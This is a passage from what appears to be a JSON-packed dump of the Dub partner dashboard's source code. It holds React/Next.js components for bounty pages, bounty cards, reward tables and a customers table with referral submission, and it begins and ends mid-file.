cell: ({ row: { original } }) => (\n          <span className=\"text-center text-sm font-medium leading-5 tracking-[-0.28px] text-neutral-600\">\n            {original.submission?.completedAt\n              ? formatDate(original.submission.completedAt, {\n                  month: \"short\",\n                  day: \"numeric\",\n                  year: \"numeric\",\n                })\n              : \"–\"}\n          </span>\n        ),\n      },\n      {\n        id: \"reviewed\",\n        header: \"Reviewed\",\n        minSize: 100,\n        size: 120,\n        cell: ({ row: { original } }) => (\n          <span className=\"text-center text-sm font-medium leading-5 tracking-[-0.28px] text-neutral-600\">\n            {original.submission?.reviewedAt\n              ? formatDate(original.submission.reviewedAt, {\n                  month: \"short\",\n                  day: \"numeric\",\n                  year: \"numeric\",\n                })\n              : \"–\"}\n          </span>\n        ),\n      },\n      {\n        id: \"action\",\n        header: \"\",\n        minSize: 98,\n        size: 98,\n        cell: ({ row: { original } }) => {\n          const { status } = original;\n          const isExpired =\n            bounty.endsAt !== null && new Date(bounty.endsAt) < new Date();\n          const isActionable = status === \"notSubmitted\" || status === \"draft\";\n\n          let buttonText = \"Submit\";\n\n          if (status === \"draft\") {\n            buttonText = \"Continue\";\n          } else if ([\"submitted\", \"approved\", \"rejected\"].includes(status)) {\n            buttonText = \"View\";\n          }\n\n          const isDisabled =\n            status === \"notOpen\" || (isExpired && isActionable);\n          const isPrimary = isActionable && !isExpired;\n\n          let disabledTooltip: string | undefined;\n\n          if (status === \"notOpen\") {\n            disabledTooltip = `Opens ${original.startDate.toLocaleDateString(\"en-US\", { month: \"short\", day: \"numeric\", year: \"numeric\" })} at ${original.startDate.toLocaleTimeString(\"en-US\", { hour: \"numeric\", hour12: true })}`;\n          } else if (isExpired && isActionable) {\n            disabledTooltip = \"This bounty has expired\";\n          }\n\n          return (\n            <div className=\"flex justify-end\">\n              <Button\n                variant={isPrimary ? \"primary\" : \"secondary\"}\n                disabled={isDisabled}\n                className=\"h-7 w-fit rounded-lg px-2.5 py-2\"\n                text={buttonText}\n                onClick={() => {\n                  if (isActionable) {\n                    setClaimPeriodNumber(original.periodNumber);\n                    setShowClaimBountySheet(true);\n                  } else {\n                    setViewPeriodNumber(original.periodNumber);\n                    setShowBountySubmissionDetailsSheet(true);\n                  }\n                }}\n                disabledTooltip={disabledTooltip}\n              />\n            </div>\n          );\n        },\n      },\n    ],\n    [bounty, showSubmissionColumn],\n  );\n\n  // When there is no \"submission\" column (single-submission bounty), the\n  // \"status\" column must be visible on mobile too since nothing else shows it.\n  const MOBILE_HIDDEN = new Set(\n    showSubmissionColumn\n      ? [\"status\", \"submitted\", \"reviewed\"]\n      : [\"submitted\", \"reviewed\"],\n  );\n\n  const table = useTable({\n    data: periods,\n    columns,\n    getRowId: (row) => String(row.periodNumber),\n    resourceName: () => \"submission period\",\n    scrollWrapperClassName: \"min-h-0\",\n    thClassName: (columnId) =>\n      cn(\n        \"border-l-0 border-r-0\",\n        MOBILE_HIDDEN.has(columnId) && \"hidden sm:table-cell\",\n      ),\n    tdClassName: (columnId) =>\n      cn(\n        \"border-l-0 border-r-0\",\n        MOBILE_HIDDEN.has(columnId) && \"hidden sm:table-cell\",\n      ),\n    className: \"[&_tbody_tr:last-child_td]:border-b-0\",\n    containerClassName: \"border-neutral-200\",\n  });\n\n  return (\n    <>\n      {claimBountySheet}\n      {bountySubmissionDetailsSheet}\n      <div className=\"flex flex-col gap-3\">\n        <h2 className=\"text-content-emphasis text-lg font-semibold leading-7 tracking-[-0.36px]\">\n          Submissions\n        </h2>\n        <Table {...table} />\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/[bountyId]/page-client.tsx",
    "content": "\"use client\";\n\nimport usePartnerBounty from \"@/lib/swr/use-partner-bounty\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BountyDescription } from \"@/ui/partners/bounties/bounty-description\";\nimport {\n  PerformanceBountyProgress,\n  SubmissionBountyProgress,\n} from \"@/ui/partners/bounties/bounty-performance\";\nimport { BountyRewardCriteria } from \"@/ui/partners/bounties/bounty-reward-criteria\";\nimport { BountySubmissionRequirements } from \"@/ui/partners/bounties/bounty-submission-requirements\";\nimport { ChevronRight, Trophy } from \"@dub/ui\";\nimport { cn, truncate } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { redirect, useParams } from \"next/navigation\";\nimport {\n  BountyRewardsTable,\n  PartnerBountyCard,\n  PartnerBountyCardSkeleton,\n} from \"../bounty-card\";\nimport { BountyPerformanceSection } from \"./bounty-performance-section\";\nimport { BountySubmissionsTable } from \"./bounty-submissions-table\";\n\nexport function PartnerBountyPageClient() {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { bounty, isLoading } = usePartnerBounty();\n\n  if (!bounty && !isLoading) {\n    redirect(`/programs/${programSlug}/bounties`);\n  }\n\n  return (\n    <PageWidthWrapper className=\"flex flex-col gap-6 pb-10\">\n      <div className=\"@3xl/page:grid-cols-[minmax(440px,1fr)_minmax(0,360px)] grid grid-cols-1 gap-6\">\n        <div className=\"@3xl/page:contents flex flex-col gap-6\">\n          {isLoading ? (\n            <PartnerBountyCardSkeleton />\n          ) : bounty ? (\n            <div className=\"@3xl/page:col-start-2 @3xl/page:row-start-1 @3xl/page:w-[360px] @3xl/page:shrink-0 flex w-full flex-col gap-4\">\n              <PartnerBountyCard\n                bounty={bounty}\n                showFullTitle\n                hideFooter\n                showRewards\n              />\n\n              <BountyRewardsTable\n                bounty={bounty}\n                programSlug={programSlug}\n                className=\"@3xl/page:hidden\"\n              />\n            </div>\n          ) : null}\n        </div>\n\n        <div className=\"@3xl/page:col-start-1 @3xl/page:row-start-1 flex flex-col gap-6\">\n          {isLoading ? (\n            <BountyDetailsProgressSkeleton />\n          ) : bounty ? (\n            <>\n              <div className=\"flex flex-col gap-3\">\n                <h2 className=\"text-content-emphasis text-lg font-semibold leading-7 tracking-[-0.36px]\">\n                  Progress\n                </h2>\n                <div className=\"border-border-subtle flex w-full flex-col gap-4 rounded-xl border bg-white px-5 pb-4 pt-6\">\n                  {bounty.type === \"performance\" ? (\n                    <PerformanceBountyProgress\n                      bounty={bounty}\n                      labelClassName=\"text-base\"\n                    />\n                  ) : (\n                    <SubmissionBountyProgress\n                      bounty={bounty}\n                      labelClassName=\"text-base\"\n                    />\n                  )}\n                </div>\n              </div>\n\n              {bounty.type === \"performance\" ? (\n                <BountyPerformanceSection bounty={bounty} />\n              ) : (\n                <BountySubmissionsTable bounty={bounty} />\n              )}\n\n              <div className=\"flex max-w-[700px] flex-col gap-6 text-sm\">\n                <BountySubmissionRequirements bounty={bounty} />\n                <BountyRewardCriteria bounty={bounty} />\n                <BountyDescription bounty={bounty} />\n              </div>\n            </>\n          ) : null}\n        </div>\n      </div>\n    </PageWidthWrapper>\n  );\n}\n\nfunction BountyDetailsProgressSkeleton() {\n  return (\n    <div className=\"flex flex-col gap-3\">\n      <div className=\"h-7 w-20 animate-pulse rounded-md bg-neutral-200\" />\n      <div className=\"border-border-subtle flex flex-col gap-4 rounded-xl border bg-white px-5 pb-4 pt-6\">\n        <div className=\"h-1 w-full animate-pulse rounded-full bg-neutral-200\" />\n        <div className=\"flex gap-1\">\n          <div className=\"h-6 w-8 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-6 w-6 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"h-6 w-24 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nexport function PartnerBountyPageHeader() {\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { bounty } = usePartnerBounty();\n\n  return (\n    <div className=\"flex items-center gap-1.5\">\n      <Link\n        href={`/programs/${programSlug}/bounties`}\n        aria-label=\"Back to bounties\"\n        title=\"Back to bounties\"\n        className={cn(\n          \"bg-bg-subtle flex size-8 shrink-0 items-center justify-center rounded-lg\",\n          \"hover:bg-bg-emphasis transition-[transform,background-color] duration-150 active:scale-95\",\n        )}\n      >\n        <Trophy className=\"size-4\" />\n      </Link>\n      <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n      <div className=\"min-w-0 truncate\">\n        {bounty ? (\n          truncate(bounty.name, 70)\n        ) : (\n          <div className=\"h-6 w-48 animate-pulse rounded-md bg-neutral-200\" />\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/[bountyId]/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport {\n  PartnerBountyPageClient,\n  PartnerBountyPageHeader,\n} from \"./page-client\";\n\nexport default function PartnerBountyPage() {\n  return (\n    <PageContent title={<PartnerBountyPageHeader />}>\n      <PartnerBountyPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/bounty-card.tsx",
    "content": "import { PartnerBountyProps } from \"@/lib/types\";\nimport {\n  PerformanceBountyProgress,\n  SubmissionBountyProgress,\n} from \"@/ui/partners/bounties/bounty-performance\";\nimport { BountyRewardDescription } from \"@/ui/partners/bounties/bounty-reward-description\";\nimport { BountyStatusBadge } from \"@/ui/partners/bounties/bounty-status-badge\";\nimport { BountyThumbnailImage } from \"@/ui/partners/bounties/bounty-thumbnail-image\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport { buttonVariants, Table, TimestampTooltip, useTable } from \"@dub/ui\";\nimport { Calendar6 } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  formatDate,\n  formatDateTimeSmart,\n} from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams, useRouter } from \"next/navigation\";\n\nexport function PartnerBountyCard({\n  bounty,\n  showFullTitle = false,\n  hideFooter = false,\n  showRewards = false,\n}: {\n  bounty: PartnerBountyProps;\n  showFullTitle?: boolean;\n  hideFooter?: boolean;\n  showRewards?: boolean;\n}) {\n  const { programSlug } = useParams();\n  const router = useRouter();\n\n  return (\n    <div\n      role=\"link\"\n      tabIndex={0}\n      onClick={() =>\n        router.push(`/programs/${programSlug}/bounties/${bounty.id}`)\n      }\n      onKeyDown={(e) => {\n        if (e.key === \"Enter\" || e.key === \" \") {\n          router.push(`/programs/${programSlug}/bounties/${bounty.id}`);\n        }\n      }}\n      className=\"border-border-subtle group relative flex w-full cursor-pointer flex-col overflow-hidden rounded-xl border bg-white text-left\"\n    >\n      <div className=\"p-3 pb-0\">\n        <div className=\"relative flex h-[124px] items-center justify-center rounded-lg bg-neutral-100\">\n          <div className=\"relative size-full\">\n            <BountyThumbnailImage bounty={bounty} />\n          </div>\n\n          <BountyStatusBadge bounty={bounty} />\n        </div>\n      </div>\n\n      <div className=\"flex min-w-0 flex-col gap-1 px-5 py-4\">\n        <h3\n          className={cn(\n            \"text-content-emphasis text-sm font-semibold\",\n            !showFullTitle && \"sm:truncate\",\n          )}\n        >\n          {bounty.name}\n        </h3>\n\n        <BountyEndDate bounty={bounty} />\n\n        <BountyRewardDescription\n          bounty={bounty}\n          onTooltipClick={(e) => e.stopPropagation()}\n          className=\"font-medium\"\n        />\n      </div>\n\n      {!hideFooter && (\n        <div className=\"border-t border-neutral-200 px-5 py-4\">\n          {bounty.type === \"performance\" ? (\n            <PerformanceBountyProgress bounty={bounty} />\n          ) : (\n            <SubmissionBountyProgress bounty={bounty} />\n          )}\n        </div>\n      )}\n\n      {showRewards && bounty.submissions.some((s) => s.commission !== null) && (\n        <div className=\"@3xl/page:block hidden border-t border-neutral-200 p-4\">\n          <BountyRewardsTable\n            bounty={bounty}\n            programSlug={programSlug as string}\n          />\n        </div>\n      )}\n    </div>\n  );\n}\n\nexport function BountyRewardsTable({\n  bounty,\n  programSlug,\n  className,\n}: {\n  bounty: PartnerBountyProps;\n  programSlug: string;\n  className?: string;\n}) {\n  const rewards = bounty.submissions\n    .filter((s) => s.commission !== null)\n    .map((s) => s.commission!);\n\n  const { table, ...tableProps } = useTable({\n    data: rewards,\n    columns: [\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        cell: ({ row }) => currencyFormatter(row.original.earnings),\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CommissionStatusBadges[row.original.status];\n\n          return badge ? (\n            <span\n              className={cn(\n                \"rounded-md px-2 py-0.5 text-xs font-semibold\",\n                badge.className,\n              )}\n            >\n              {badge.label}\n            </span>\n          ) : null;\n        },\n      },\n    ],\n    thClassName: \"border-l-transparent py-1.5\",\n    tdClassName: \"border-l-transparent py-1.5\",\n  });\n\n  if (rewards.length === 0) {\n    return null;\n  }\n\n  return (\n    <div className={cn(\"relative flex flex-col gap-4\", className)}>\n      <div className=\"flex items-center justify-between\">\n        <h3 className=\"@3xl/page:text-sm text-lg font-semibold text-neutral-900\">\n          Rewards\n        </h3>\n        <Link\n          href={`/programs/${programSlug}/earnings?type=custom`}\n          onClick={(e) => e.stopPropagation()}\n          className={cn(\n            buttonVariants({ variant: \"secondary\" }),\n            \"border-border-subtle flex h-6 items-center rounded-md border px-2 text-xs\",\n          )}\n        >\n          View all\n        </Link>\n      </div>\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-neutral-200\"\n        scrollWrapperClassName=\"min-h-0\"\n        className=\"[&_tbody_tr:last-child_td]:border-b-0\"\n      />\n    </div>\n  );\n}\n\nfunction BountyEndDate({ bounty }: { bounty: PartnerBountyProps }) {\n  const isExpired =\n    bounty.endsAt && new Date(bounty.endsAt) < new Date() ? true : false;\n\n  return (\n    <div className=\"text-content-subtle flex items-center gap-2 text-sm font-medium\">\n      <Calendar6 className=\"size-3.5\" />\n      {bounty.endsAt ? (\n        <span>\n          {isExpired ? \"Ended\" : \"Ends\"} at{\" \"}\n          <TimestampTooltip\n            timestamp={bounty.endsAt}\n            side=\"right\"\n            rows={[\"local\", \"utc\"]}\n          >\n            <span className=\"hover:text-content-emphasis underline decoration-dotted underline-offset-2\">\n              {formatDateTimeSmart(bounty.endsAt)}\n            </span>\n          </TimestampTooltip>\n        </span>\n      ) : (\n        <span>\n          {formatDate(bounty.startsAt, { month: \"short\" })} → No end date\n        </span>\n      )}\n    </div>\n  );\n}\n\nexport const PartnerBountyCardSkeleton = () => {\n  return (\n    <div className=\"border-border-subtle rounded-xl border bg-white p-5\">\n      <div className=\"flex flex-col gap-5\">\n        <div className=\"flex h-[132px] animate-pulse items-center justify-center rounded-lg bg-neutral-100 px-32 py-4\" />\n        <div className=\"flex flex-col gap-1.5\">\n          <div className=\"h-5 w-48 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"flex h-5 items-center space-x-2\">\n            <div className=\"size-4 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/page-client.tsx",
    "content": "\"use client\";\n\nimport { usePartnerProgramBounties } from \"@/lib/swr/use-partner-program-bounties\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Heart, Trophy } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\nimport { PartnerBountyCard, PartnerBountyCardSkeleton } from \"./bounty-card\";\n\nconst tabs = [\n  {\n    label: \"Active\",\n    id: \"active\",\n  },\n  {\n    label: \"Expired\",\n    id: \"expired\",\n  },\n] as const;\n\nexport function BountiesPageClient() {\n  const [activeTab, setActiveTab] = useState<\"active\" | \"expired\">(\"active\");\n  const { bounties, bountiesCount, isLoading } = usePartnerProgramBounties();\n\n  // Filter bounties based on active tab\n  const filteredBounties = useMemo(() => {\n    if (!bounties) return [];\n\n    const now = new Date();\n    return bounties.filter((bounty) => {\n      const isExpired = bounty.endsAt && new Date(bounty.endsAt) <= now;\n\n      if (activeTab === \"active\") {\n        return !isExpired;\n      } else {\n        return isExpired;\n      }\n    });\n  }, [bounties, activeTab]);\n\n  return (\n    <PageWidthWrapper className=\"pb-10\">\n      <div className=\"mb-6 grid grid-cols-2 gap-2\">\n        {tabs.map((tab) => {\n          const isActive = activeTab === tab.id;\n\n          return (\n            <button\n              key={tab.id}\n              type=\"button\"\n              className={cn(\n                \"border-border-subtle flex flex-col gap-1 rounded-lg border p-4 text-left transition-colors duration-100\",\n                isActive\n                  ? \"border-black ring-1 ring-black\"\n                  : \"hover:bg-bg-muted\",\n              )}\n              onClick={() => setActiveTab(tab.id)}\n            >\n              <span className=\"text-content-default text-xs font-semibold\">\n                {tab.label}\n              </span>\n              {bounties ? (\n                <span className=\"text-content-emphasis text-base font-semibold\">\n                  {bountiesCount[tab.id].toLocaleString()}\n                </span>\n              ) : (\n                <div className=\"h-6 w-12 animate-pulse rounded-md bg-neutral-200\" />\n              )}\n            </button>\n          );\n        })}\n      </div>\n\n      {filteredBounties?.length !== 0 || isLoading ? (\n        <div className=\"grid grid-cols-1 gap-6 md:grid-cols-2 xl:grid-cols-3\">\n          {filteredBounties?.length\n            ? filteredBounties?.map((bounty) => (\n                <PartnerBountyCard key={bounty.id} bounty={bounty} />\n              ))\n            : Array.from({ length: 3 }, (_, index) => (\n                <PartnerBountyCardSkeleton key={index} />\n              ))}\n        </div>\n      ) : (\n        <AnimatedEmptyState\n          title=\"No bounties to collect\"\n          description={\n            <>\n              This program isn't offering any bounties at the moment.{\" \"}\n              <a\n                href=\"https://dub.co/help/article/program-bounties\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"hover:text-content-default underline sm:whitespace-nowrap\"\n              >\n                Learn more about bounties\n              </a>\n              .\n            </>\n          }\n          cardContent={(idx) => {\n            const Icon = [Trophy, Heart][idx % 2];\n            return (\n              <>\n                <Icon className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              </>\n            );\n          }}\n        />\n      )}\n    </PageWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/bounties/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { BountiesPageClient } from \"./page-client\";\n\nexport default function BountiesPage() {\n  return (\n    <PageContent title=\"Bounties\">\n      <BountiesPageClient />\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/(index)/layout.tsx",
    "content": "\"use client\";\n\nimport { REFERRAL_ENABLED_PROGRAM_IDS } from \"@/lib/referrals/constants\";\nimport usePartnerCustomersCount from \"@/lib/swr/use-partner-customers-count\";\nimport usePartnerReferralsCount from \"@/lib/swr/use-partner-referrals-count\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { referralFormSchema } from \"@/lib/zod/schemas/referral-form\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { SubmitReferralSheet } from \"@/ui/referrals/submit-referral-sheet\";\nimport { Button, InfoTooltip } from \"@dub/ui\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { CSSProperties, ReactNode, useMemo, useState } from \"react\";\nimport * as z from \"zod/v4\";\n\nexport default function PartnerCustomersLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  const pathname = usePathname();\n  const { programEnrollment } = useProgramEnrollment();\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const [showReferralSheet, setShowReferralSheet] = useState(false);\n\n  const { data: customersCount } = usePartnerCustomersCount<number>({\n    includeParams: [],\n  });\n\n  const { data: referralsCount } = usePartnerReferralsCount<number>({\n    ignoreParams: true,\n  });\n\n  const referralFormDataRaw = programEnrollment?.program?.referralFormData;\n  const programId = programEnrollment?.programId;\n\n  const isEnabled = programId\n    ? REFERRAL_ENABLED_PROGRAM_IDS.includes(programId)\n    : false;\n\n  const referralFormData = useMemo(() => {\n    if (!referralFormDataRaw) {\n      return null;\n    }\n    try {\n      return referralFormSchema.parse(referralFormDataRaw) as z.infer<\n        typeof referralFormSchema\n      >;\n    } catch {\n      return null;\n    }\n  }, [referralFormDataRaw]);\n\n  const tabs = useMemo(() => {\n    if (!isEnabled) {\n      return [];\n    }\n\n    return [\n      {\n        label: \"Customers\",\n        id: \"customers\",\n        href: \"\",\n        info: \"Shows both your converted and non-converted customers.\",\n        count: customersCount,\n      },\n      {\n        label: \"Submitted Referrals\",\n        id: \"invited\",\n        href: \"referrals\",\n        info: \"Shows your submitted referrals and their status.\",\n        count: referralsCount,\n      },\n    ];\n  }, [isEnabled, customersCount, referralsCount]);\n\n  return (\n    <PageContent\n      title=\"Customers\"\n      controls={\n        <>\n          {isEnabled && (\n            <Button\n              text=\"Submit referral\"\n              className=\"h-9 w-fit rounded-lg\"\n              disabled={!referralFormData}\n              disabledTooltip={\n                referralFormData\n                  ? undefined\n                  : \"Submitted referrals are not offered.\"\n              }\n              onClick={() => {\n                setShowReferralSheet(true);\n              }}\n            />\n          )}\n        </>\n      }\n    >\n      {isEnabled && referralFormData && programEnrollment?.programId && (\n        <SubmitReferralSheet\n          isOpen={showReferralSheet}\n          setIsOpen={setShowReferralSheet}\n          programId={programEnrollment.programId}\n          referralFormData={referralFormData}\n        />\n      )}\n\n      <PageWidthWrapper className=\"flex flex-col gap-3 pb-10\">\n        {tabs.length > 0 && (\n          <div\n            className={cn(\n              \"grid grid-cols-[repeat(var(--tabs),minmax(0,1fr))] gap-2\",\n            )}\n            style={{ \"--tabs\": tabs.length } as CSSProperties}\n          >\n            {tabs.map((tab) => {\n              const isActive = pathname.endsWith(\n                `/customers${tab.href ? `/${tab.href}` : \"\"}`,\n              );\n\n              return (\n                <Link\n                  key={tab.id}\n                  href={`/programs/${programSlug}/customers${tab.href ? `/${tab.href}` : \"\"}`}\n                  className={cn(\n                    \"border-border-subtle flex flex-col gap-1 rounded-lg border p-4 text-left transition-colors duration-100\",\n                    isActive\n                      ? \"border-black ring-1 ring-black\"\n                      : \"hover:bg-bg-muted\",\n                  )}\n                >\n                  <div className=\"flex items-center gap-2\">\n                    <span className=\"text-content-default text-xs font-semibold\">\n                      {tab.label}\n                    </span>\n                    {tab.info && <InfoTooltip content={tab.info} />}\n                  </div>\n                  {tab.count !== undefined ? (\n                    <span className=\"text-content-emphasis text-base font-semibold\">\n                      {nFormatter(tab.count, { full: true })}\n                    </span>\n                  ) : (\n                    <div className=\"h-6 w-12 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </Link>\n              );\n            })}\n          </div>\n        )}\n        {children}\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/partners.dub.co/(dashboard)/programs/[programSlug]/(enrolled)/customers/(index)/page-client.tsx",
    "content": "\"use client\";\n\nimport { PARTNER_CUSTOMERS_MAX_PAGE_SIZE } from \"@/lib/constants/partner-profile\";\nimport usePartnerCustomers from \"@/lib/swr/use-partner-customers\";\nimport usePartnerCustomersCount from \"@/lib/swr/use-partner-customers-count\";\nimport useProgramEnrollment from \"@/lib/swr/use-program-enrollment\";\nimport { CustomerRowItem } from \"@/ui/customers/customer-row-item\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  AnimatedSizeContainer,\n  EditColumnsButton,\n  Filter,\n  LinkLogo,\n  Table,\n  TimestampTooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { User } from \"@dub/ui/icons\";\nimport {\n  COUNTRIES,\n  currencyFormatter,\n  formatDate,\n  getApexDomain,\n  getPrettyUrl,\n} from \"@dub/utils\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useMemo } from \"react\";\nimport { usePartnerCustomerFilters } from \"./use-partner-customer-filters\";\n\nexport function ProgramCustomersPageClient() {\n  const router = useRouter();\n  const { searchParams, queryParams } = useRouterStuff();\n\n  const { programSlug } = useParams<{ programSlug: string }>();\n  const { programEnrollment } = useProgramEnrollment();\n\n  const { data: customersCount, error: countError } =\n    usePartnerCustomersCount();\n  const { data: customers, isLoading, error } = usePartnerCustomers();\n\n  const { pagination, setPagination } = usePagination(\n    PARTNER_CUSTOMERS_MAX_PAGE_SIZE,\n  );\n\n  const sortBy = searchParams.get(\"sortBy\") || \"createdAt\";\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n    setSelectedFilter,\n  } = usePartnerCustomerFilters();\n\n  const customersColumns = {\n    all: [\n      \"customer\",\n      \"country\",\n      \"link\",\n      \"saleAmount\",\n      \"createdAt\",\n      \"firstSaleAt\",\n      \"subscriptionCanceledAt\",\n    ],\n    defaultVisible: [\n      \"customer\",\n      \"country\",\n      \"link\",\n      \"saleAmount\",\n      \"createdAt\",\n      \"firstSaleAt\",\n      \"subscriptionCanceledAt\",\n    ],\n  };\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"partner-customers-table-columns\",\n    customersColumns,\n  );\n\n  const columns = useMemo(\n    () =>\n      [\n        {\n          id: \"customer\",\n          header: \"Customer\",\n          enableHiding: false,\n          minSize: 250,\n          cell: ({ row }) => {\n            return <CustomerRowItem customer={row.original} />;\n          },\n        },\n        {\n          id: \"country\",\n          header: \"Country\",\n          accessorKey: \"country\",\n          minSize: 150,\n          cell: ({ row }) => {\n            const country = row.original.country;\n            return (\n              <div className=\"flex items-center gap-2\">\n                {country && (\n                  <img\n                    alt={`${country} flag`}\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"min-w-0 truncate\">\n                  {(country ? COUNTRIES[country] : null) ?? \"-\"}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"link\",\n          header: \"Link\",\n          accessorKey: \"activity.link\",\n          cell: ({ row }) =>\n            row.original.activity.link ? (\n              <a\n                href={`/programs/${programSlug}/analytics?linkId=${row.original.activity.link.id}`}\n                target=\"_blank\"\n                className=\"flex cursor-alias items-center gap-3 decoration-dotted underline-offset-2 hover:underline\"\n              >\n                <LinkLogo\n                  apexDomain={getApexDomain(\n                    row.original.activity.link.shortLink,\n                  )}\n                  className=\"size-4 shrink-0 sm:size-4\"\n                />\n                <span\n                  className=\"truncate\"\n                  title={row.original.activity.link.shortLink}\n                >\n                  {getPrettyUrl(row.original.activity.link.shortLink)}\n                </span>\n              </a>\n            ) : (\n              \"-\"\n            ),\n          size: 250,\n        },\n        {\n          id: \"saleAmount\",\n          header: \"LTV\",\n          meta: {\n            headerTooltip:\n              \"The total amount of revenue the customer has generated over time (lifetime value).\",\n          },\n          accessorKey: \"activity.saleAmount\",\n          cell: ({ getValue }) => (\n            <div className=\"flex items-center gap-2\">\n              <span>\n                {currencyFormatter(getValue() ?? 0, {\n                  trailingZeroDisplay: \"stripIfInteger\",\n                })}\n              </span>\n              <span className=\"text-neutral-400\">USD</span>\n            </div>\n          ),\n        },\n        {\n          id: \"createdAt\",\n          header: \"Created\",\n          meta: {\n            headerTooltip:\n              \"The date the customer was created (usually the signup date or trial start date).\",\n          },\n          cell: ({ row }) => (\n            <TimestampTooltip\n              timestamp={row.original.createdAt}\n              rows={[\"local\"]}\n              side=\"left\"\n              delayDuration={150}\n            >\n              <span>\n                {formatDate(row.original.createdAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ),\n        },\n        {\n          id: \"firstSaleAt\",\n          header: \"Paid\",\n          meta: {\n            headerTooltip: \"The date the customer made their first sale.\",\n          },\n          cell: ({ row }) =>\n            row.original.firstSaleAt ? (\n              <TimestampTooltip\n                timestamp={row.original.firstSaleAt}\n                rows={[\"local\"]}\n                side=\"left\"\n                delayDuration={150}\n              >\n                <span>\n                  {formatDate(row.original.firstSaleAt, { month: \"short\" })}\n                </span>\n              </TimestampTooltip>\n            ) : (\n              \"-\"\n            ),\n        },\n        {\n          id: \"subscriptionCanceledAt\",\n          header: \"Canceled\",\n          meta: {\n            headerTooltip: \"The date the customer canceled their subscription.\",\n          },\n          cell: ({ row }) =>\n            row.original.subscriptionCanceledAt ? (\n              <TimestampTooltip\n                timestamp={row.original.subscriptionCanceledAt}\n                rows={[\"local\"]}\n                side=\"left\"\n                delayDuration={150}\n              >\n                <span>\n                  {formatDate(row.original.subscriptionCanceledAt, {\n                    month: \"short\",\n                  })}\n                </span>\n              </TimestampTooltip>\n            ) : (\n              \"-\"\n            ),\n        },\n        // Menu\n        {\n          id: \"menu\",\n          enableHiding: false,\n          header: () => <EditColumnsButton table={table} />,\n        },\n      ].filter((c) => c.id === \"menu\" || customersColumns.all.includes(c.id)),\n    [programSlug],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: customers || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row, e) => {\n      const url = `/programs/${programSlug}/customers/${row.original.id}`;\n\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) =>\n      window.open(\n        `/programs/${programSlug}/customers/${row.original.id}`,\n        \"_blank\",\n      